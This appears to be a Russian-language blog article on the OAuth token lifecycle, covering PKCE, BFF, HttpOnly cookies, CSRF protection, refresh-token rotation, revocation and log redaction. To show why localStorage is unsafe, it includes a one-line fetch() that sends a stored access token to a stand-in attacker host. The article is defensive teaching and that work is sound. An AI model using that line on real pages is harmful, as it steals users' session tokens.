Назад к блогу

Путь API-токена: от выдачи до аннулирования

Путь API-токена: от выдачи до аннулирования

Статья разбирает полный жизненный цикл OAuth-токена — от выбора подходящего потока авторизации до его безопасного хранения и отзыва. Читателю предлагают практические ориентиры: когда необходим PKCE, в каких случаях достаточно `client_credentials` и как паттерн BFF убирает токены из браузера. Материал будет полезен разработчикам и архитекторам, которые проектируют аутентификацию и хотят закрыть типовые дыры без лишнего усложнения системы.

Выбор OAuth-потока: почему PKCE становится стандартом

Одно и то же приложение OAuth не может использовать одинаковый поток везде. Разделите клиентов на две группы — и половина вопросов по безопасности закроется сама.

Первая группа — публичные клиенты. Сюда попадают одностраничные приложения (SPA) и мобильные приложения. Их код и среда выполнения полностью под контролем пользователя, поэтому надёжно спрятать client_secret невозможно: секрет либо лежит в бандле, либо в памяти, которую можно прочитать. Для таких приложений стандартом стал поток кода авторизации с PKCE.

PKCE (Proof Key for Code Exchange) привязывает запрос авторизации к временному секрету, который генерирует сам клиент. Схема простая:

  1. Клиент создаёт произвольный code_verifier.
  2. На его основе вычисляет code_challenge и отправляет его в запросе авторизации.
  3. Оригинальный code_verifier остаётся на клиенте и никуда не уходит.
  4. При обмене кода авторизации на токены клиент предъявляет этот верификатор.

Смысл в том, что перехваченного кода авторизации атакующему недостаточно. Без совпадающего верификатора обмен не завершится. Даже если код утёк через логи, историю браузера или заголовок Referer, превратить его в токен не получится.

Вторая группа — конфиденциальные клиенты. Это сервисы, которые общаются между собой «машина-машина» и умеют держать client_id с client_secret в защищённой серверной среде. Им PKCE не нужен: подойдёт разрешение client_credentials:

POST /oauth/token

grant_type=client_credentials
client_id=reporting-service
client_secret=protected-secret

Здесь секрет реально хранится на сервере, а не в браузере. Но у этого есть цена: секреты клиента нужно регулярно ротировать и держать в отдельной системе управления секретами, а не в репозитории. Сами токены тоже должны быть короткоживущими.

Отдельно стоит вычеркнуть один вариант. Старый явный (explicit) поток для новых приложений использовать не следует: он выставляет токены на всеобщее обозрение прямо в перенаправлениях, а встроенных защит наподобие PKCE в нём нет. У современных браузеров и платформ есть более безопасные альтернативы, и брать explicit просто нечем оправдать.

Короткий вывод по выбору: клиент работает на устройстве пользователя — берёте поток кода авторизации с PKCE; клиент доверенный и серверный — берёте client_credentials с аккуратным управлением секретами. Правильный поток — это функция от того, кто контролирует исполняемую среду, а не от личных предпочтений.

Разделение обязанностей: роль BFF и короткоживущих токенов

Какой токен украсть сложнее всего? Тот, которого в браузере нет. Именно на этой идее строится паттерн BFF — Backend for Frontend, серверный слой под конкретное клиентское приложение.

Схема выглядит так: браузер общается только с BFF, а BFF — с основным API. Пользователь проходит аутентификацию через прослойку, BFF завершает обмен OAuth, и токены доступа и обновления остаются на сервере. В браузер уходит единственная HttpOnly-куки с непрозрачным идентификатором сессии. Клиентские запросы идут в BFF, а тот при необходимости сам подставляет токен доступа перед обращением к API.

Что это даёт на практике? Даже если на странице выполнится вредоносный скрипт, читать ему нечего: реальные токены OAuth существуют только в серверном хранилище сессий — например, в Redis или в базе. BFF хранит связку вроде sessionId, userId и зашифрованных accessToken/refreshToken с временем истечения, а браузер довольствуется куки __Host-session=sess_e8f1c2; HttpOnly; Secure; SameSite=Lax; Path=/. Цена решения — усложнение сервера и появление состояния, но взамен вы получаете централизованную ротацию, отзыв и логирование использования токенов.

Теперь про срок жизни access-токена — здесь всё держится на компромиссе между удобством и риском. Длинный срок означает меньше обновлений, но и больше времени у атакующего, если токен всё-таки утёк. Для браузерных приложений разумная отправная точка — 5–15 минут. Конкретное значение зависит от чувствительности: контентной платформе с низким риском подойдёт более длинное окно сессии, а финансовым панелям, внутренним админкам и системам здравоохранения стоит держать токены совсем короткоживущими.

Хранение токенов в браузере: почему localStorage проигрывает HttpOnly-куки

Сколько строк кода нужно, чтобы украсть токен из localStorage? Одна: fetch('https://attacker.example/collect', { method: 'POST', body: JSON.stringify({ token: localStorage.getItem('access_token') }) }). Всё остальное — как доставить эту строку на страницу — уже забота атакующего, и способов у него хватает.

Уязвимость XSS очевидна: если приложение где-то не экранировало пользовательский ввод, внедрённый скрипт читает хранилище тем же способом, что и легитимный код. Но опасность не ограничивается собственными багами. Атака на цепочку поставок — вредоносный код из пакета NPM, стороннего виджета или скрипта, подгруженного с CDN, — выполняется с теми же привилегиями, что и остальное приложение. С точки зрения браузера это просто ещё один скрипт. Легитимность источника значения не имеет: доступ к localStorage одинаков для всех.

sessionStorage не спасает. Оно очищается при закрытии вкладки, но чтение из JavaScript остаётся открытым, а значит и кража никуда не уходит. Частое оправдание — «положим в localStorage временно, заменим потом» — обычно не сбывается: как только аутентификация заработала и ушла в продакшн, менять всю её архитектуру становится слишком дорого, и временный костыль превращается в постоянную инфраструктуру.

Что меняется с HttpOnly-куки

Атрибут HttpOnly закрывает document.cookie для скриптов. Остальные атрибуты добавляют свои границы:

  • Secure — куки уходит только по HTTPS;
  • SameSite ограничивает включение куки в межсайтовые запросы;
  • префикс __Host- требует HTTPS и Path=/, а атрибут Domain запрещает — поддомен с меньшим доверием не сможет подсунуть конфликтующий куки для родительского домена.

Важно не переоценить эффект. HttpOnly защищает учётные данные от извлечения, а не от злоупотребления сессией. Вредоносный скрипт по-прежнему может выполнять аутентифицированные операции внутри скомпрометированной страницы: значение куки он не прочитает, но браузер подставит её в запросы автоматически.

У цены тоже две стороны. Куки включается в совпадающие запросы сам — отсюда риск CSRF. SameSite=Lax или Strict блокирует многие сценарии, но на чувствительных операциях полагаться только на этот флаг не стоит: запросы, меняющие состояние, разумно защищать отдельным CSRF-токеном, который сервер сверяет с доверенным значением, привязанным к сессии, либо проверкой заголовков Origin и Referer. Плюс внимательная настройка CORS: межсайтовые запросы с учётными данными требуют явного Access-Control-Allow-Origin, и звёздочка * здесь недопустима.

Итог простой: localStorage удобно читать вашему коду — и ровно так же удобно чужому. HttpOnly-куки убирает саму возможность прочитать секрет из скрипта, но переносит часть ответственности на сервер — за CSRF, CORS и корректные атрибуты.

Защита от CSRF и передача учётных данных

Куки удобны именно тем, что браузер добавляет их к запросу сам. Но эта же автоматика открывает дорогу подделке межсайтовых запросов (CSRF): сторонний сайт может заставить браузер жертвы отправить аутентифицированный запрос. Атрибуты SameSite=Lax или SameSite=Strict закрывают большинство таких сценариев, однако для операций, меняющих состояние, полагаться только на флаг браузера не стоит.

Представим смену почты в аккаунте. Если за обработку этого запроса отвечает лишь куки, злоумышленнику достаточно заставить браузер отправить POST /api/account/email — и сервер увидит валидную сессию. Отдельный токен CSRF ломает этот план: клиент прикладывает его в заголовке, а сервер сверяет значение с тем, что привязано к сессии.

POST /api/account/email
Cookie: __Host-session=...
X-CSRF-Token: 7e3fb91d...

Токен, привязанный к серверной сессии, обычно проще в поддержке, чем схема двойной отправки куки, — особенно когда состояние сессии уже хранится на сервере. Как дополнительный слой работает проверка заголовков Origin и Referer: сервер сверяет источник запроса с ожидаемым и отклоняет всё остальное.

function validateOrigin(request) {
  const origin = request.headers.get('origin');

  if (origin !== 'https://app.example.com') {
    throw new Error('Invalid request origin');
  }
}

Для чувствительных операций разумно комбинировать несколько средств защиты сразу, а не выбирать одно. Чем больше независимых проверок проходит запрос, тем выше цена ошибки для атакующего.

Ротация refresh-токенов: атомарность и сжигание семьи

Ротация токена обновления без атомарности — это половина защиты. Смысл в другом: каждое успешное обновление должно помечать использованный токен как потреблённый, а новый выдаваться ровно один раз. Тогда попытка предъявить уже потреблённый токен становится не рядовой ошибкой, а сигналом тревоги.

Предположим, атакующий украл токен обновления A. Клиент в это время спокойно меняет A на B и продолжает работу. Когда злоумышленник позже предъявит A, сервер увидит, что этот токен уже был потреблён. Токен обновления, который «воскрес» после успешного обмена, — почти однозначный признак компрометации: у законного клиента его давно нет, значит, кто-то получил копию.

Чтобы отделить взлом от случайной гонки, токены, выпущенные из одной авторизации, группируют в семью:

Семья: family_27
Токен A -> Токен B -> Токен C -> Токен D

Если A предъявлен повторно после выпуска B, сервер отзывает всю семью сразу — этот приём называют сжиганием семьи токенов. Пользователю придётся войти заново, зато атакующий теряет возможность продлевать украденную сессию: обновлять её больше нечем.

Ключевое слово здесь — «атомарно». Два одновременных запроса не должны обменять один и тот же токен на два валидных токена доступа. В транзакции БД это решается блокировкой строки:

BEGIN;

SELECT *
FROM refresh_tokens
WHERE token_hash = $1
FOR UPDATE;

UPDATE refresh_tokens
SET consumed_at = NOW()
WHERE token_hash = $1
  AND consumed_at IS NULL;

INSERT INTO refresh_tokens (
  token_hash,
  family_id,
  user_id,
  expires_at
)
VALUES ($2, $3, $4, $5);

COMMIT;

Альтернатива — семантика сравнения и обмена: UPDATE ... WHERE id = $1 AND consumed_at IS NULL, после чего приложение проверяет, что обновилась ровно одна строка. Если ни одной — токен уже израсходован кем-то другим. Важная деталь: такой исход нельзя трактовать как обычный провал входа. Это либо повторное использование, либо гонка условий, и оба случая должны запускать политику сессии, а не молчаливый 401.

Отдельная ловушка — несколько запросов, одновременно получивших 401 при истёкшем токене доступа. Без координации фронтенд отправит пачку запросов на обновление и сам спровоцирует ложное срабатывание детектора. Лечится общим промисом: первый запрос инициирует обновление, остальные ждут тот же результат.

let refreshPromise = null;

async function refreshSession() {
  if (!refreshPromise) {
    refreshPromise = fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include',
    }).finally(() => {
      refreshPromise = null;
    });
  }

  return refreshPromise;
}

Неудачное обновление обычно должно завершать локальную сессию. Повторные попытки отправить недействительный токен обновления легко превращаются в цикл и порождают вводящие в заблуждение события безопасности.

Событие refresh_token_reuse стоит логировать с семьёй токенов, идентификатором сессии, IP и агентом пользователя — этого достаточно, чтобы разобраться в инциденте постфактум. А вот ответ наружу должен оставаться скупым: session_expired и предложение войти снова. Детали инцидента — для внутренних логов, не для публичного API.

Аннулирование сессий: немедленный отзыв и контроль пользователя

Подписанный токен не умеет «передумать». Пока сервер только проверяет подпись и exp, украденный токен остаётся рабочим до самого истечения срока — и выход из системы, смена пароля или блокировка аккаунта ничего не меняют. Немедленный отзыв требует, чтобы у сервера было состояние, к которому он обращается на каждом запросе.

Самый простой вариант — блок-лист по jti в Redis. Отозванный идентификатор записывается с TTL, равным остатку жизни токена:

revoked:token_4af79c = true
TTL = оставшийся срок жизни токена

Как только срок истекает, Redis сам удаляет запись — список не растёт бесконечно. Проверка добавляет один поиск в путь запроса, но зато даёт мгновенный контроль:

const revoked = await redis.get(`revoked:${payload.jti}`);

if (revoked) {
  throw new UnauthorizedError('Token has been revoked');
}

Альтернатива — хранить не отдельные токены, а серверные сессии. Тогда токен доступа несёт идентификатор сессии (sid), а сервер отклоняет запросы, чья сессия уже отозвана:

{
  "sub": "user_1842",
  "sid": "sess_e8f1c2",
  "exp": 1784218500
}

Такой подход ломает принцип stateless JWT, и это нормально: отсутствие состояния — не всегда главное требование. Для финансовых, медицинских, корпоративных и административных систем более строгий контроль над сессиями обычно оправдан.

Дальше встаёт вопрос, какие события запускают отзыв. Смена пароля — особенно если она последовала за обнаруженной компрометацией — должна инвалидировать существующие сессии. Выход из системы обязан гасить токен обновления или серверную сессию, а не просто стирать локальное состояние в браузере. Подозрительная активность на устройстве может оправдать отзыв одной сессии при сохранении остальных. Отключение аккаунта администратором должно немедленно закрывать доступ. А повторное использование токена обновления — тот самый сигнал из прошлой секции — приводит к отзыву всей семьи. Технически это один запрос:

async function revokeUserSessions(userId) {
  await database.userSessions.updateMany({
    where: {
      userId,
      revokedAt: null,
    },
    data: {
      revokedAt: new Date(),
    },
  });
}

Но отзыва мало — пользователю нужно дать руль. Приложение с высокими требованиями к безопасности показывает экран управления сессиями, где видно каждое активное устройство и его можно отключить вручную:

Current device
Jerusalem, Chrome on Windows
Active now

Other device
Tel Aviv, Safari on iPhone
Last active 2 hours ago
[Revoke]

Когда пользователь видит незнакомый город в списке — он отключает чужую сессию одной кнопкой, не дожидаясь службы поддержки. Без TTL в Redis блок-лист распухнет, без серверного состояния отзыв невозможен в принципе, а без экрана управления пользователь остаётся слепым к чужим входам в свой аккаунт. Эти три части работают только вместе.

Логи и размер токенов: две недооценённые утечки

Один console.error в обработчике ошибок способен свести на нет всю работу по защите токенов. Если в лог уходит объект запроса целиком, вместе с ним уезжают заголовки Authorization и Cookie — в системы, доступ к которым шире, чем к базе аутентификации: платформу сбора ошибок, файлы обратного прокси, панель мониторинга.

Закрывается это редактированием перед записью. Не логируйте запрос «как есть» — прогоняйте заголовки через функцию, которая затирает чувствительные поля:

function sanitizeHeaders(headers) {
  const safeHeaders = { ...headers };
  if (safeHeaders.authorization) safeHeaders.authorization = '[REDACTED]';
  if (safeHeaders.cookie) safeHeaders.cookie = '[REDACTED]';
  return safeHeaders;
}

logger.info({
  method: request.method,
  path: request.url,
  headers: sanitizeHeaders(request.headers),
});

Продакшн-системы по умолчанию не должны хранить полные запросы. Дополнительно конвейер логирования может сканировать строки на предмет JWT-подобных последовательностей, ключей API и приватных ключей — это не заменяет предотвращение, но сокращает окно между компрометацией и реакцией.

Вторая точка риска — размер самого токена. JWT может нести больше атрибутов, чем нужно приложению. Раздутая полезная нагрузка дороже в парсинге и способна превысить лимиты прокси или перегрузить промежуточное ПО. Задавайте верхнюю границу явно:

const MAX_TOKEN_LENGTH = 4096;

if (token.length > MAX_TOKEN_LENGTH) {
  throw new UnauthorizedError('Token is too large');
}

Держите в токене только то, что требуется для авторизации. Он не должен превращаться в переносимый профиль пользователя:

{
  "sub": "user_1842",
  "roles": ["editor"],
  "scope": ["articles:read", "articles:write"],
  "sid": "sess_e8f1c2",
  "iat": 1784217600,
  "exp": 1784218500
}

Чувствительные персональные данные стоит оставлять на сервере: полезная нагрузка JWT кодируется, а не шифруется, поэтому любой, кто получил токен, может её прочитать.

Итог: 2–3 ключевых вывода и практический совет

Первое: подпись токена не имеет отношения к его защите от кражи. JWT может быть корректно подписан и при этом спокойно использоваться тем, кто его перехватил, — сервер не отличит легитимного клиента от чужого, пока оба присылают одинаковый Authorization: Bearer .... Поэтому ставку стоит делать не на криптографию, а на срок жизни токена и возможность его быстро отозвать.

Второе: хранилище на клиенте важнее, чем алгоритм. localStorage и sessionStorage читаются любым скриптом на странице — вредоносным расширением, сломанной NPM-зависимостью, аналитическим виджетом из CDN. Схема BFF уводит токены OAuth в серверное хранилище, а браузеру оставляет только непрозрачный __Host-session в HttpOnly-куки. Даже если XSS случится, украсть нечего.

Третье: ротация токенов обновления — это не про удобство, а про обнаружение. Когда потреблённый токен возвращается повторно, сервер видит явный признак компрометации и сжигает всю семью токенов; пользователь просто перелогинивается, а атакующий теряет возможность продлевать сессию. Без атомарной ротации (блокировка строки или сравнение-с-обменом) два параллельных запроса обменяют один токен на два валидных — и вся логика обнаружения рушится на ровном месте.

Практический совет: начните с короткого срока жизни токена доступа — 5–15 минут по умолчанию, и уберите продление сессии в серверную логику с абсолютным лимитом (например, 7 дней скользящего окна при 30 днях жёсткого потолка). Это даёт немедленный эффект без переписывания всей аутентификации сразу, а дальше уже можно двигаться к ротации и BFF. Ориентир по остальным пунктам — чеклист в исходной статье.

Похожее